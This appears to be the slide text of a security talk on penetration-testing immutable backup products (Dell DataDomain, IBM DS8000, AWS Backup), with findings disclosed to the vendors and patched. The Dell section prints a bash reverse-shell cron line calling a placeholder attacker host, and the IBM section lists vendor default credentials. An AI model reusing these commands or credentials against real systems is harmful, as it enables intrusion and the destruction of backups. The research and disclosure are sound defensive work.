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BACKUPS AS 

A TARGET
Backups targeted by Ransomware groups

Prevent Restoration = Force Payment

e.g., Alphv  / Alpha Spider destroy backups

- using Disk Wipe

- delete Azure Compute snapshots

source: CrowdStrike CSIT-23328 ð Analysis of  Tactics, Techniques, 
and Procedures Used by ALPHA SPIDER Affiliates in 2023
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DATA

IMMUTABILITY
Write-Once, Read-Many (WORM)

Retention Lock / Vault Lock

Governance Mode vs Compliance Mode

Even root / admin cannot modify data
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TESTING Why is it needed?

- Ransomware Resilience

- Enterprise Relies on Solutions

- Timely Recovery

Our Expectations

Attack Immutability?

Attack Server / App Infrastructure
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OUR TESTED 

SOLUTIONS
Physical Appliances

1. Dell EMC ð DataDomain

2. IBM - DS8000

Cloud Service

3. AWS Backup
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DELL / EMC

DATA DOMAIN

Target: Dell EMC

DataDomain OS 

   (DDOSé yes, itõs called that)

Retention-Lock Compliance Enabled 
(RLCE)

NOTE: Product solution is now called Dell PowerProtect DD
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ENVIRONMENT
DD Shell (DDSH)

- Jailed Session

- Locked down shell

System Engineer (SE) Mode

Users / Access

- Vaulted AD Accounts ð Admin, ceded access

- Local Accounts - root, sysadmin, secuser, ddboost

Bash shell ð Dell Key Required
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DISCOVERY

Viewing options / reading documentation

Failures

- Overwriting data

- Unmounting DDFS

- Rogue NTP server

- etc.

Finally! Hidden òREGó command

reg show config

cron jobs, running as root
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EXPLOIT
Using SE Mode to modify config with 
bash reverse shell:

reg set config.crontab.db_handler = "* * * * * 
root /bin/bash -i >& /dev/tcp/<attacker 
IP>/<attacker port> 0>&1"

Netcat listener on attacker box

Pwned!
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DDOS Server Attack Box
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DESTRUCTION(?)

Still canõt delete data. Immutable.

Changed local user PWs in /etc/shadow

Removed LDAP conns (vaulted accounts)

RESULT

Backup team can no longer access DDOS

Restoration Software no longer connected

Restoration of  data no longer possible
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FIX FROM DELL
Reported Finding to Dell

Fixed as part of  DSA-2023-412

SE Mode Deprecated

Cannot change / exploit cron jobs

Even more locked down
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HMC (Hardware Mgmt. Console)

DS8000 (Data Storage)

CSM (Copy Services Manager)

All on same physical hardware / OS

Plz %21v7 68& 86k
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ENVIRONMENT

Target: Only URLs provided

No access granted

Prod Only

- Canõt break it

- Canõt make changes

- Be careful

òGive it your best shot.ó
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HMC default creds:

DS8000 default creds:

Username Password

root passw0rd 

hscroot abc123

customer cust0mer

CE serv1cece ð Remote Login Disabled (?)

é

Username Password

secadmin secadmin

service serv1cece

engineering serv1cepe
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LEARNING THE

ENVIRONMENTS

Default Creds for HMC and DS8000

Ultimate goal - Access CSM

Learn without persistent changes

Spoiler alert ð No access to CSM
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Disabled.
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DS CLI
Inside DS 8000 application

Small shell inside GUI

Jailed / limited set of  commands

Upload or load local script containing 
commands

Intro > whoami > Ransomware Groups > Data Immutability > Dell/EMC > IBM DS8000 > AWS Backup > Recommendations > Why test > Q/A



Intro > whoami > Ransomware Groups > Data Immutability > Dell/EMC > IBM DS8000 > AWS Backup > Recommendations > Why test > Q/A



Intro > whoami > Ransomware Groups > Data Immutability > Dell/EMC > IBM DS8000 > AWS Backup > Recommendations > Why test > Q/A



Intro > whoami > Ransomware Groups > Data Immutability > Dell/EMC > IBM DS8000 > AWS Backup > Recommendations > Why test > Q/A



Intro > whoami > Ransomware Groups > Data Immutability > Dell/EMC > IBM DS8000 > AWS Backup > Recommendations > Why test > Q/A



IMPACT
1. Access with default creds

2. Enumerate files

3. Read 1st line of  any file (as root)

4. Delete any file (as root)

System Outage?
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CHALLENGES
Challenges:

Lack of  Non-Prod Env

Testing was felt to not be comprehensive

Possibility for more findings?

Findings (4) reported to IBM PSIRT

Fixes published early March 2024
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AWS Industry Standard:

- Uses compliance mode

- Uses retention lock

Organizations

- Many accounts

- òPOC-Backupó (AWS Backup) account
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AWS TESTING

METHODOLOGY

Gain Access

Traverse Accounts Using Assume-Role

Escalate Privileges

Delete POC-Backup account?
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ATTACK PATH (AWS)
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